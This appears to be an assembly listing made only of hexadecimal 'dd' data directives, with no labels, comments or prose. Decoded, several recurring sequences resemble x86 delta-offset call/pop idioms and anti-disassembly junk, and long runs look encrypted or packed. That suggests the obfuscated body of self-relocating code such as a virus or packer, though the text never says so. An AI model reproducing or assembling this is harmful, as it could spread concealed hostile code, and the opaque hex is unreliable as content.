		dd 735510F3h, 0E1F08075h, 30CF2EF1h, 8B0C0B8h, 0FFC50306h
		dd 5BFF65E0h, 82BAF20Ch, 0B037F87Ch, 3654404h, 0C3119443h
		dd 43146109h, 2C9F2362h, 0D064A654h, 0A5B0DB1Dh, 584EA404h
		dd 8BC08B2Ch, 0E5BD83DAh, 60304h, 0BD830975h, 6032339h
		dd 50197400h, 0B8C08B53h, 3FCh,	1A9D8589h, 9D8D0603h, 605B5BFh
		dd 585BD3FFh, 2339BD83h, 74000603h, 0B8535017h,	3FCh, 1A9D8589h
		dd 9D8D0603h, 605B2AEh,	585BD3FFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0E5C35646h,	4EB018ADh, 0F586F9A4h
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 89AA785Ah, 7E8ABE9h, 87000000h, 0FF9A6890h
		dd 6E9913Ah, 76000000h,	71306304h, 0C08B5A1Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0BDC35343h, 1D89BD83h
		dd 0F010603h, 9784h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0FE1E630h, 4DBD8387h
		dd 60304h, 6A850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0C4D5D0C3h, 2E3CCDCDh
		dd 8AFDEB2Ch, 0FDBB66F3h, 0BDBD83E5h, 6032Eh, 52840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 1D6F94C3h, 5F24E592h, 8A0FA582h, 5, 9B85C5BBh
		dd 0D08B6615h, 42DE9h, 2880F00h, 0B2000000h, 0C6BA6604h
		dd 0C8h, 8B665600h, 0C3805ADAh,	0D2B70F98h, 0B3C2775Ah
		dd 0AE2FC4E3h, 8DE53053h, 6DB157Fh, 592F927Bh, 5BCBABF7h
		dd 81F312A0h, 0E9E8836Dh, 95C7BFh, 0E8C2C281h, 95C2F6h
		dd 5F569DDAh, 4B1BEF4h,	4B1863Fh, 95C242h, 505695E8h, 3F193FCFh
		dd 2F9D3A1Dh, 0D11EA4DDh, 952AAFh, 81C8C27Dh, 8269F53h
		dd 5195A859h, 95C147h, 0C3CCE2D7h, 24D94BB2h, 24D143F1h
		dd 95D8FEh, 0C3C4837Dh,	4B2D0222h, 602F6100h, 854DA0h
		dd 0A7DC2D7h, 0EF95C2EBh, 44891550h, 0B86EBD42h, 616C9C01h
		dd 265643D8h, 5695A82Ch, 95C147h, 0C3CBE2D7h, 24E14BB5h
		dd 24D143F1h, 95D9FEh, 0C3C3847Dh, 0B2FDBAB6h, 946A364Ah
		dd 0F5554956h, 8C9A9487h, 95C2F3h, 95D01Dh, 4AC5B3FAh
		dd 71C6DF8Bh, 950B6200h, 0D1E45EE6h, 5A830965h,	24914B8Ch
		dd 0E8C3C281h, 95C2F6h,	5E569CDAh, 4B1B6F4h, 4B1863Fh
		dd 95C244h, 715694E9h, 8A000B71h, 0FBCA25Bh, 95CF74h, 9D2BFAh
		dd 5B99C27Dh, 0E2A9230Bh, 87C0070h, 7495C2AFh, 44409275h
		dd 0F0A6578h, 0FEB18EF4h, 584F7DF5h, 0E8C6C217h, 95C2BDh
		dd 5B56997Fh, 4B19E26h,	4B18656h, 95C2FCh, 455691B6h, 0F628A75h
		dd 95C7F6h, 82EF79BEh, 8BF3E8D5h, 299C770h, 899AC2D7h
		dd 95C2F2h, 95CF1Dh, 0ABC32FAh,	16F901B0h, 7FCB81C8h, 859A7D5Eh
		dd 95C2AFh, 6A9D498Dh, 37D94EBh, 2095C2F5h, 89CB01A4h
		dd 8191E609h, 1691E6FAh, 4695C25Fh, 0F65E01F9h,	481EA46Bh
		dd 5295A817h, 95C11Dh, 0C3CFE2FAh, 24C14B27h, 24D143BAh
		dd 95D65Bh, 0C3C780AFh,	0F314A40Ch, 0A7D1F66h, 0BD95C2F5h
		dd 0DA4F1644h, 199A711Dh, 0DA14A48Eh, 0B8CED933h, 95C2AEh
		dd 0E8C4C2BDh, 95C2E8h,	59569BD5h, 4B18E73h, 4B186FCh
		dd 95C2A4h, 4C56931Eh, 47BE7998h, 0D61E79DDh, 0E9C57C58h
		dd 95C2FBh, 0CC197E70h,	8CDD4CDAh, 1A2C2926h, 0C1C8118h
		dd 0D62ACD8Bh, 6A4C4EB1h, 37D91EBh, 2095C2F5h, 89CE01A1h
		dd 8191E621h, 1891E6FAh, 4395C25Fh, 0A89301FCh,	0E84BDACCh
		dd 95C2EDh, 513FD2B7h, 0BAF3C659h, 0F9CE8F96h, 49178D8h
		dd 0F9103A9h, 94832Ah, 0D91EA4D7h, 1746438Dh, 0FF9BCCh
		dd 962AA8h, 5AB5C27Dh, 541C987Dh, 4414C67Bh, 8DC68Bh, 52D7C2D7h
		dd 422EB228h, 0F9F5DEF7h, 95C412h, 0BB4A777Dh, 8B27688Dh
		dd 53F49A80h, 80CE251Ch, 859AAAEEh, 95C38Eh, 0E8C4C29Fh
		dd 95C2F9h, 59569B5Dh, 4B18E37h, 4B186DEh, 95C2B9h, 0D0569396h
		dd 0B9F5CA01h, 14B97874h, 1BD0799Ch, 1EC491Ch, 0E8C6C2D4h
		dd 95C25Ch, 5B56998Fh, 4B19E5Eh, 4B1866Ah, 95C2EEh, 745691B9h
		dd 0A10E938Fh, 0FC930FFh, 127D12E0h, 4195C2AFh,	4C773161h
		dd 0D2A34D78h, 13DA67A2h, 0F6616408h, 902BEAh, 0D0D6C2BEh
		dd 5B27AE80h, 953D2Eh, 829A42D7h, 95C20Eh, 58262974h, 8552F2CEh
		dd 69D7081h, 95C2BFh, 0E8C4C235h, 95C2ACh, 59569BF7h, 4B18E62h
		dd 4B18674h, 95C2E2h, 8156933Ch, 6484AE2Ah, 0B37C22E9h
		dd 6A95C2AFh, 37D94D7h,	2095C2EBh, 89CB01ABh, 8191E68Eh
		dd 1A91E639h, 4695C2BEh, 0C3960109h, 0DBB9BC25h, 902B0Dh
		dd 5820C2EBh, 0E91F01F6h, 95C287h, 95CF94h, 0D27DEDBEh
		dd 0CB98BE36h, 529A440Ch, 66CC17FFh, 66DA6150h,	0FF9EBB76h
		dd 0CE46F5h, 0FFC27Dh, 962AE8h,	5EB5C25Fh, 741C9C6Ch, 4414C6F3h
		dd 8EC6CFh, 56D3C2F5h, 0ECCC8A39h, 5183634Bh, 0E22EA449h
		dd 0FC1005FDh, 193CA1Dh, 6A95C2D7h, 37D94EBh, 2095C2F5h
		dd 89CB01A4h, 8191E609h, 1D91E6FAh, 4695C25Fh, 6C4D01F9h
		dd 18BABA02h, 51AF7D29h, 1A7E4393h, 0B3C28A71h,	342C998Bh
		dd 8D91362Fh, 82D24DAh,	39284FA9h, 3B93CA60h, 3092B613h
		dd 475C13FAh, 0FF3711h,	962A2Dh, 58B5C2BEh, 441C9A9Ch
		dd 4414C68Bh, 80C6F3h, 50D5C2EBh, 8B81B436h, 8342492Dh
		dd 3884BC0h, 849AC3B8h,	95C21Fh, 4D284157h, 93C1D3h, 0A747E4h
		dd 0FFC2F5h, 962AADh, 5FB5C27Dh, 7C1C9D7Dh, 4414C67Bh
		dd 8DC68Bh, 57D2C2D7h, 0A6290628h, 0BD16CC9Bh, 696EC47h
		dd 3811CD7Dh, 0BA95C2BEh, 2BD541A0h, 952946h, 5395A8D7h
		dd 95C103h, 0C3CEE2F5h,	24C94BA1h, 24D14379h, 95DFBAh
		dd 0C3C6815Fh, 0F2002303h, 0F084A29Fh, 899A0F03h, 95C2F6h
		dd 8342499Ch, 3884BC0h,	859AC3B8h, 95C2CAh, 95CB46h, 37044DD7h
		dd 97D78C0Dh, 6AC8128Fh, 37D91FAh, 2095C27Dh, 89CE01E5h
		dd 8191E603h, 1891E6EBh, 4395C2D7h, 4B1F01B8h, 601F11F4h
		dd 0E8151770h, 57DA39Fh, 3995C2BEh, 26F82AFh, 5A4F75A0h
		dd 5595A814h, 95C103h, 0C3C8E2F5h, 24F94BA7h, 24D14379h
		dd 95DFBAh, 0C3C0875Fh,	69E84304h, 6598FCA2h, 0A7C1DCFh
		dd 9E95C2F5h, 0CD11E41Ah, 74453070h, 0A72B87h, 0DA14C25Fh
		dd 25701776h, 0D81EA4B7h, 934FE4h, 899AC2F5h, 95C2FAh
		dd 127C9F1Ch, 5095C2BEh, 0F4163EE9h, 4CD13252h,	0E0655B7Ah
		dd 0AA8C7BD3h, 0DF1E0D65h, 0B39E7F77h, 8D18C475h, 69D7A0Dh
		dd 3AC9DFE7h, 3D10F1D4h, 2B93C1C9h, 27C0324h, 362F342Ch
		dd 24DA8D91h, 4FA9082Dh, 0CA603928h, 0B6133B93h, 13FA3092h
		dd 0F305E983h, 0FCBD83A4h, 608B2h, 8D8D0D74h, 6034D69h
		dd 1B8h, 40E1FF00h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0E6C35242h, 86DD4941h, 11E9BE11h, 0D000000h
		dd 4E0A607Bh, 5A37651Eh, 51FB46ACh, 83F072E2h, 9306D381h
		dd 40B612C0h, 83D9B70Fh, 0E2812DE8h, 6E026E09h,	6AC08Bh
		dd 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 904AF2C3h
		dd 0FE955h, 83B40000h, 0C2ACD66Ch, 1AD1A18Bh, 21E6F0EFh
		dd 0E5BD83D4h, 60304h, 0BD830975h, 6032339h, 50197400h
		dd 0B8C08B53h, 3FCh, 7398589h, 9D8D0603h, 605B626h, 585BD3FFh
		dd 2339BD83h, 74000603h, 0B8535017h, 3FCh, 7398589h, 9D8D0603h
		dd 605B2C7h, 585BD3FFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 64C35343h, 0B12B3DAAh, 3E5FB06Fh, 78C0Fh
		dd 800F0000h, 1, 0D18B66F5h, 8BD98B66h,	0E08D8DC0h, 6A0608BAh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 5910C351h, 12E9C2A4h, 33000000h, 423A8694h
		dd 0F9BAB94Bh, 155062CCh, 0D1BE308Ah, 0A58D8919h, 3060320h
		dd 30BE5B5h, 6585C706h,	0BC06031Ah, 6A000070h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 29DEC351h, 0DB93B838h, 0DC9DDE13h, 6850Fh, 9D0B0000h
		dd 60304EDh, 7185C7h, 603h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 901ED3C3h
		dd 70F916D9h, 0FFC18E5Eh, 317ADB5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 860FEBBFh
		dd 6, 1D88D781h, 95FF24EFh, 603171Dh, 1CBDBD8Bh, 6A0603h
		dd 23A595FFh, 0C08B0603h, 0F65D1FEBh, 25D1524Eh, 70779CD7h
		dd 0FE50452Ch, 923F0868h, 8E06BEDFh, 3055A7B9h,	74F61393h
		dd 14E8F7h, 826C0000h, 86CADA64h, 10FE4800h, 4E526D36h
		dd 64F68336h, 895807CEh, 32AD595h, 0B2C08106h, 8900005Dh
		dd 30089B5h, 0E9FF3306h, 12h, 80A3AD7Eh, 0A06DECDEh, 0D4781477h
		dd 4E0D516Ch, 34FF941Fh, 0CF8B6607h, 0DB81665Ah, 0C281791Dh
		dd 0EA54B1Fh, 0AF99EA81h, 9D897FC9h, 60319FDh, 0B6D2F281h
		dd 8D8907D5h, 6030AF5h,	0B381489h, 30A5D9Dh, 8321B706h
		dd 858902EFh, 60306D5h,	0BD894F4Fh, 6030865h, 0A2ECFF81h
		dd 850FFFFFh, 0FFFFFFAEh, 0BE9h, 0F6398E00h, 7F23C802h
		dd 6A34B7Ch, 98E9h, 9400h, 500h, 100h, 0A2800h,	200h, 20h dup(0)
		dd 1C9AE900h, 0BB6E979h, 0A680000h, 0E90608BEh,	0FFFAC1C9h
		dd 8BF0568h, 0C1BFE906h, 68FFFAh, 0E90608C0h, 0FFFAC1B5h
		dd 8C06568h, 0C1ABE906h, 8468FFFAh, 0E90608C1h,	0FFFAC1A1h
		dd 8C1E668h, 0C197E906h, 1868FFFAh, 0E90608C5h,	0FFFAC18Dh
		dd 8C63A68h, 0C183E906h, 6AF3FFFAh, 911735A1h, 0AE3654C0h
		dd 0C95371DDh, 0F1769400h, 0A9F5B420h, 238F60E5h, 45B17A05h
		dd 66D29B27h, 84F0C148h, 0EA08D37Fh, 8AD019F9h,	0CF56697Ch
		dd 8007FFFEh, 8DF843AFh, 9FB47FF3h, 99DC144Ah, 3736FF8Bh
		dd 0E47BF13Ch, 4D985A0Ah, 0B07BA955h, 0D0120742h, 0D3D22532h
		dd 1207D41Eh, 0F3F069D0h, 3AA56E65h, 62A55Ah, 29F40000h
		dd 0A2B024FCh, 79FF4F18h, 0B6AEA9A8h, 68FEC18Ch, 6B78DC14h
		dd 0F4FAC5F7h, 7CD01266h, 0DC2776Fh, 0D01266E3h, 935E9058h
		dd 0D012665Dh, 35100815h, 0D45E6C38h, 0D5DBCA13h, 79CC5445h
		dd 9B877F7Ah, 5A3AFD50h, 8B54DEECh, 57264C17h, 0C1CED012h
		dd 0F98EC9h, 757E0000h,	0EE4D783Eh, 622D2552h, 0FFFECF56h
		dd 0B2B18207h, 5B996496h, 0C1D61145h, 746F6E37h, 32FD717Eh
		dd 0D611453Ch, 0A9AFA7B4h, 5A525122h, 0BB9602D3h, 0D611493Ah
		dd 8E02D35Ah, 4063915Ch, 0D2BED611h, 0E9773D3Bh, 0A39BA89Eh
		dd 0BDC6381h, 0E2BEE70Ch, 0BEA4A36Eh, 0B4BEDC14h, 65605F28h
		dd 5B64A612h, 43A233B7h, 194C4448h, 97A014ECh, 2E5ACD77h
		dd 2E3C2912h, 8208E02Bh, 22ED170Fh, 0DA15B207h,	0F34AD8E1h
		dd 0D77431C9h, 19F3E60Ch, 2E818EDAh, 97D8A36h, 39A576FBh
		dd 6EC5961Bh, 0D4BDB26Ch, 45697071h, 60000009h,	84A20ED7h
		dd 0A3C12DFEh, 0C0DE4A1Bh, 0E3016D36h, 62218D5Eh, 0FCCD5216h
		dd 1EE77290h, 3F0894B2h, 5D2EB5D3h, 7540ECF1h, 0D019FB7Fh
		dd 56D6E9F7h, 769400D1h, 9CAA1EEFh, 2B4D4516h, 86ECB7E9h
		dd 6ED61145h, 0CC22ED61h, 0A4D61145h, 32D49F97h, 0D7CF9824h
		dd 2B9F79A4h, 3ECA981Dh, 287B7675h, 0C362E29h, 14687E41h
		dd 62EEF8DCh, 54E64E99h, 0C1CACA29h, 0B0BA6F6Eh, 5D012C1h
		dd 0CA018F8Ch, 415A3A67h, 0B7h,	0FECF5690h, 0B18207FFh
		dd 4978FDB2h, 159CD611h, 3AC2D044h, 314F7169h, 5C65D9AAh
		dd 8550F49Ah, 0D6119A6Fh, 0CEAFFA07h, 1CD1C958h, 6BF58EF7h
		dd 10DB4FA2h, 0DC147C0Bh, 9CAA1E2Bh, 4C474617h,	0BEE73254h
		dd 97A36EE2h, 0CFDA15C9h, 0BB404EC2h, 3CCD33F2h, 1A6D05A6h
		dd 4BA974A6h, 2BDA1995h, 0E604261Eh, 2D399061h,	46D4BDCCh
		dd 84A3E45h, 0D25B0000h, 0F97F9D09h, 169EBC28h,	31BBD945h
		dd 59DEFC68h, 115D1C88h, 8BF7C84Dh, 0AD19E26Dh,	0CE3A038Fh
		dd 0EC5829B0h, 2703BE7h, 0F2D019FAh, 0D156D1E4h, 0EF769400h
		dd 6270B21Eh, 0F0A09DAh, 6D6C35BFh, 56AF7A72h, 7FFFECFh
		dd 3C26B280h, 11450371h, 93E6F3D6h, 1C89D440h, 342A678Ch
		dd 54DA25D0h, 69DD3083h, 343A0537h, 0BCD611A0h,	2AF4B7AFh
		dd 22DC1AE5h, 0C93A115h, 0EF4CF3Bh, 88D018E4h, 0E7658B56h
		dd 0DD018h, 0D5A5D508h,	0CE870869h, 6812D157h, 11150A21h
		dd 947F4ABEh, 20DA1DD5h, 95CD23EEh, 77A5DA1Dh, 1D9546ACh
		dd 0CE212EDAh, 95202AD6h, 0F64979CCh, 65D6EC3Dh, 26AC77AEh
		dd 0C38E0255h, 43C1A138h, 0BBB984B2h, 3B73C9A8h, 0B7DCDB2Eh
		dd 733EB24Eh, 79CF2CD1h, 901E4449h, 38D0C0Dh, 0A72E3CB0h
		dd 0C54C6AD6h, 49879DF4h, 0B3B47494h, 74FACh, 4CD5600h
		dd 23F47A98h, 401199B7h, 632CB6D4h, 8354D9F7h, 480C5817h
		dd 6886F2C3h, 8AA814DDh, 0ABC935FEh, 0E2E75324h, 85056B36h
		dd 0DFEDD019h, 24FC29CCh, 0EA707EB0h, 0C45E2119h, 8CDC1A00h
		dd 0CBD90B7Fh, 658B5640h, 0DD019FEh, 0AFB5AD00h, 0CEEC5829h
		dd 80787748h, 0B1D128F9h, 0F2CEBDB6h, 6EAEAF1h,	32BB0000h
		dd 59DFFD69h, 76FE1C88h, 911B39A5h, 0B93E5CC8h,	71BD7CE8h
		dd 0EB5728ADh, 0D7942CDh, 2E9A63EFh, 4CB88910h,	0A2D09B47h
		dd 52D01985h, 0FC293144h, 707EB024h, 50DF21EAh,	0ADB1DC6h
		dd 22FCBFB7h, 2ADC1AA3h, 6977A91Dh, 181E16DFh, 954C091h
		dd 0D71DE891h, 9FD0181Ah, 0CB3F92h, 0D0181A86h,	2DFE848Eh
		dd 0CD26DBDAh, 72D0181Ah, 656EFCF9h, 0C15A30B8h, 0F2C00B8h
		dd 0FA4AD94Fh, 72ADA56Eh, 39h, 29F129C1h, 45F8EAB5h, 6670D611h
		dd 0C1C013DCh, 401197A5h, 8B4E4641h, 0D6114561h, 0D2605DD6h
		dd 5C39E719h, 1014h, 0A0476300h, 0EB000001h, 4CE7C3E2h
		dd 140C2307h, 0CD7E1349h, 96DCA750h, 5ED61145h,	0ACFFC854h
		dd 27DCE559h, 0AA233412h, 3B063028h, 0DC1410D0h, 0CA1D4D5Ah
		dd 83B87F0Ah, 8D19E21Bh, 77CAC5C4h, 0AEC8D103h,	8ED0653Ah
		dd 0E37C3F37h, 6B69BA2Dh, 0C33A5F5Eh, 54F6C135h, 0CC67A6A9h
		dd 0B63D4BBFh, 0D45B79E5h, 0E082AC03h, 0D6D78A6Ch, 5CBCFh
		dd 8851DA00h, 0A778FE1Ch, 0C4951D3Bh, 0E7B03A58h, 7D85D7Bh
		dd 0CC90DC9Bh, 0EC0A7647h, 0E2C9861h, 2F4DB982h, 666BD7A8h
		dd 8481EFBAh, 6371D019h, 0FECF5650h, 0DDA3DAFFh, 0F3B46BA5h
		dd 31A5F897h, 9D66F1FFh, 2B41E2A5h, 8D9BDC14h, 3E393801h
		dd 218D9A46h, 54AB7C03h, 0CEB86320h, 69818889h,	3C000005h
		dd 607EEAB3h, 7F9D09DAh, 9CBA26F7h, 0BFDD4912h,	3EFD693Ah
		dd 0D8A92EF2h, 0FAC34E6Ch, 1BE4708Eh, 390A91AFh, 511CC8CDh
		dd 0D0198423h, 56B2C5D3h, 0E81F06CFh, 0F17A2A10h, 4B4A1BA1h
		dd 6FEFD50h, 0ACC28D7Fh, 44D61151h, 37E5E437h, 4CD37B78h
		dd 0C00B0F7Bh, 4B5C39F3h, 2Ah, 24FC299Ah, 0BDB37EB0h, 35D61145h
		dd 3B063028h, 0DC14660Ch, 0C57A7986h, 0D01265ABh, 0C9A9710h
		dd 5A3AC3C7h, 4E4Eh, 0FC299D00h, 757EB024h, 0A5041275h
		dd 16E76D6Eh, 7708CBC3h, 71DC143Eh, 120ADB63h, 0D7E55966h
		dd 0E3408A4Bh, 0A342644Fh, 0FC2E5850h, 0AD7862EEh, 0D012C947h
		dd 0D7CF222Fh, 0E7A4BD1h, 12C93833h, 0D158D0h, 1FF07694h
		dd 4961920h, 321C0000h,	0D3CB9C24h, 279B65A0h, 0DF48FB1Eh
		dd 0E418C55h, 2FC20D76h, 4567F844h, 37022C24h, 0DC14C2A0h
		dd 1E161522h, 4501CE97h, 0D947DE0Eh, 0FDA78786h, 0B5B4A6F4h
		dd 948C0085h, 0BEE7BCB9h, 0D4A36EE2h, 8EDA1784h, 2E2DFE84h
		dd 5674E033h, 7C8AFECFh, 2F2726F7h, 0DDD8D7A8h,	0E2B33A8Ah
		dd 3BF0E8E3h, 8A14EF16h, 74C7C2C1h, 9F68F200h, 0F5B27DA7h
		dd 6DD012B6h, 64436160h, 6738BF67h, 0AB75B0FBh,	94C76C37h
		dd 0A2AFCE1Dh, 5324ABA3h, 5A573654h, 2AFB808Eh,	538302Bh
		dd 0C18C0098h, 0C4197272h, 0A172FA04h, 3DC4E24Eh, 0A1EFF86Ch
		dd 0CA99B011h, 0F9F1A69Eh, 0C4A4A374h, 3DC46C69h, 961EE46Fh
		dd 787372C5h, 0DA8B125h, 9D70226h, 539EC0B8h, 0FDA4E2Ah
		dd 0C204A2A8h, 870C1A4Ch, 0AFBCB7B6h, 0F202A541h, 4AD42431h
		dd 0D0DD8981h, 8152D9D1h, 37058A82h, 0E4DFDEAFh, 0E9A9291h
		dd 0E38E4645h, 97C53BE6h, 38300189h, 8B94605Dh,	8C8D0082h
		dd 588B8327h, 0D6DF532Dh, 75AEF4A1h, 20E9753Dh,	0DBD32621h
		dd 0D5C1E6B1h, 94A1F807h, 53D8E628h, 0DBAC3282h, 8556DDE3h
		dd 36078E86h, 8B5688CAh, 0FC079165h, 0DE14DF0Dh, 96FC0791h
		dd 0B3E3689h, 60920692h, 0FCFBCC52h, 58AB7C04h,	9E769D60h
		dd 0F300F602h, 43CAD8F4h, 80787372h, 89CB3BDh, 928F08E6h
		dd 203ECF04h, 41466Ch, 28360000h, 10DBD39Ch, 68F20032h
		dd 98A5A09Fh, 0D611455Ah, 0E2150D1Ah, 9E69DDBBh, 0DC14681Dh
		dd 165C2755h, 0DED01266h, 0CA7F7ED1h, 0D01266A0h, 0B93F4D15h
		dd 1815F0E8h, 3AC0418Ah, 0F0CC5Ah, 561B0000h, 588AFECFh
		dd 1145678Dh, 8E0A0FD6h, 0F458894Ah, 4F04FC4Fh,	0D309D257h
		dd 0D691E21Bh, 8242376h, 0F09921FFh, 1D15CB16h,	38C29017h
		dd 2275706Fh, 61FE0723h, 14062E57h, 7C030901h, 9BB1BF8Ah
		dd 3441D611h, 553BDEE9h, 50A3E09Ch, 5FB6D3DCh, 0F4EF1581h
		dd 7EFFDAFCh, 9ED61194h, 0F3C44917h, 3AA6F9F4h,	0C5C4951Ch
		dd 460F9BA9h, 0A09F70F6h, 37AADA5h, 75360175h, 0EDDC14AEh
		dd 0FC2974E0h, 0EDE5B024h, 89DA1512h, 75FA087Ch, 951A38A4h
		dd 9C2F6DC4h, 0ABACD4BEh, 237A4h, 1CE56E00h, 3B0C92B0h
		dd 5829B1CFh, 7B44CEECh, 9B6CF10Fh, 6024702Fh, 809E0ADBh
		dd 0A2C02CF5h, 0C3E14D16h, 0FAFF6B3Ch, 806D834Eh, 0F705D019h
		dd 0D156E4h, 67495294h,	73AAEECh, 0B83F453Dh, 334173E7h
		dd 0E5E0DFA8h, 118A9AD8h, 554D5AD6h, 0FC295033h, 0C2E5B024h
		dd 9CDC1468h, 91DB908Fh, 26D01266h, 13612C5Eh, 0E3D01266h
		dd 599762D6h, 19D01266h, 3C39140Ch, 3AC025AEh, 1FF8015Ah
		dd 4DBEF40Dh, 1EEF75C5h, 0E0EB26h, 563A0000h, 0B17701CFh
		dd 635E5D26h, 693AC010h, 0EDFB1716h, 0CFAC9C65h, 14BD1DABh
		dd 1EE771C1h, 262C241Fh, 2A5CD0A1h, 11C0115Fh, 0DCD4E1D6h
		dd 0CCF37227h, 8A11D611h, 0FD0B4DB9h, 4F20A876h, 0A02FDFCh
		dd 0ADAC7D04h, 0F831D88h, 14C56344h, 4A747DDCh,	6C75D984h
		dd 2C7F50D7h, 77B8834h,	0A8A071F9h, 0B1364486h,	0EEE6E1E0h
		dd 42B642BBh, 1511BA77h, 3BAFBCDAh, 0DBDAA32Dh,	3B0490E0h
		dd 1F49413Ch, 4FBB8C11h, 84DBAC31h, 0D4BE963Ch,	15C5CCCDh
		dd 90000001h, 0B4D23E07h, 0D3F15D2Eh, 0F00E7A4Bh, 13319D66h
		dd 9251BD8Eh, 2CFD8246h, 4E17A2C0h, 6F38C4E2h, 8D5EE503h
		dd 0A5701C21h, 0D019834Fh, 56061927h, 5A8C00D1h, 0E8F5C64Ch
		dd 0D611458Ah, 0ADB606Ah, 0C5BD100Bh, 2DFE85A3h, 2432DEC1h
		dd 0D7D2D19Ah, 8152D9DFh, 11038A82h, 0B1B07903h, 454BA9B6h
		dd 1E2BD611h, 0E9145FCBh, 5B699B0Fh, 4D1008D1h,	0DC1A0167h
		dd 858E020Fh, 662C237Dh, 0C0756D6Fh, 47041C8h, 6329B4C2h
		dd 0C3BB0ED7h, 666536BDh, 2DB26EB1h, 6E6BC653h,	0FA6E3FC6h
		dd 38F7FDC8h, 9D25530Dh, 0D1C9D6CCh, 0D35F6DAFh, 850C120Ah
		dd 38AAC893h, 404A530Dh, 0F2EDECB5h, 0F6C74F9Fh, 7F88A4A3h
		dd 0C5F4E52Dh, 4C524A10h, 5385F9C2h, 0DFC6A88h,	0AD050A53h
		dd 0D5A87CBFh, 5F140C5Fh, 0BD656241h, 39BB6D36h, 5F5E2FB5h
		dd 0AEB71964h, 0E5584B96h, 0F5B012D7h, 911836A2h, 0B43E4CC0h
		dd 373EF3EBh, 0Ch, 5329323Ah, 93516231h, 9FB6BEB6h, 504CD56h
		dd 0B6B5860Dh, 6A6932BEh, 1F1EE772h, 0D2D1A227h, 858455DAh
		dd 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h, 0E089506Fh, 405h
		dd 4E88300h, 5C240487h,	56240C89h, 0C681E689h, 4, 4EE81h
		dd 34870000h, 34895C24h, 0E1895124h, 4C181h, 0E9830000h
		dd 240C8704h, 2404895Ch, 41F2BA52h, 81425538h, 0DC4AFBEAh
		dd 5BEA817Ch, 89D2533Ah, 24148BD6h, 5404C483h, 8124048Bh
		dd 4C4h, 34815600h, 3C3F8D24h, 8408F1Fh, 8B951h, 0C1010000h
		dd 3F8D3181h, 0FF591F3Ch, 83582434h, 34FF04C4h,	0C4835E24h
		dd 0B61FE904h, 0E48BFFFAh, 8C774B8h, 0FFC50306h, 86C8A9E0h
		dd 0F947D37Eh, 7B40921Ah, 42A40B02h, 42FA8006h,	3A0FB665h
		dd 1B72C50h, 816E5314h,	0DD24761Ah, 24EB16h, 8 dup(0)
		dd 0E9000000h, 0BDh, 0C832B589h, 858B0608h, 6031D89h, 2509858Bh
		dd 0B58D0603h, 608C87Ch, 4ED7858Dh, 0D0FF0606h,	0E855C3h
		dd 5D000000h, 0C882ED81h, 0BD830608h, 6031D89h,	2C850F01h
		dd 0FF000000h, 8C832B5h, 9858B06h, 35060325h, 34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 36B58D1Ch, 560608C8h, 0C832B5FFh,	858B0608h
		dd 6032509h, 81273635h,	83D0FF34h, 0B58D0CC4h, 608C836h
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	31D89BDh, 850F0106h, 7,	2E9C35Dh
		dd 5D000000h, 5B858DCFh, 890608C8h, 31C7585h, 348D8D06h
		dd 6A0608CAh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 73FAC352h, 2A84D510h, 8B66D58Eh
		dd 0A58D89F7h, 6A060320h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0AD09C352h,	463877F4h
		dd 0C7DF8B7Fh, 31A6585h, 634C06h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BA662DACh
		dd 0C68B58E0h, 7185C7h,	603h, 0BD030000h, 60317E1h, 2021B5FFh
		dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 48E619C3h, 23118594h, 0F76A196h, 0B70FDBB7h
		dd 96F281D6h, 0FF5D30A3h, 3171D95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 9AA01AC8h
		dd 13E931C7h, 23000000h, 0A77D5FC5h, 0A9C47159h, 835EAE7h
		dd 580D03E2h, 6A822Bh, 23A595FFh, 0C08B0603h, 640D09EBh
		dd 1A8CC25Fh, 0E87533DCh, 8, 10865A51h,	183E06EEh, 0DE9h
		dd 81F9B900h, 0F7CF2B83h, 2BD0EFFAh, 95B0C7Ah, 31D698Dh
		dd 39C38106h, 60000073h, 77BEC3B8h, 52DEBB42h, 2B612BB5h
		dd 0C18166F6h, 3C8BD942h, 0B9858933h, 8106032Ah, 2C60A1EFh
		dd 0D0816675h, 0EF81C7C5h, 73209CE0h, 1AC3F781h, 858B2AA9h
		dd 6030C55h, 27C08057h,	0B533048Fh, 0BAB86673h,	4EE8363h
		dd 0CA58D8Bh, 0FE810603h, 0FFFF8D70h, 1F850Fh, 9D310000h
		dd 60319B5h, 20E9h, 0D04D3000h,	13CDDAF9h, 0D12E9B48h
		dd 3EDDB169h, 12DE8E25h, 0E907B439h, 0FFFFFF92h, 0D0DFA4D4h
		dd 0CF8D8DBBh, 6A0608CBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 30CCC355h, 1E502580h
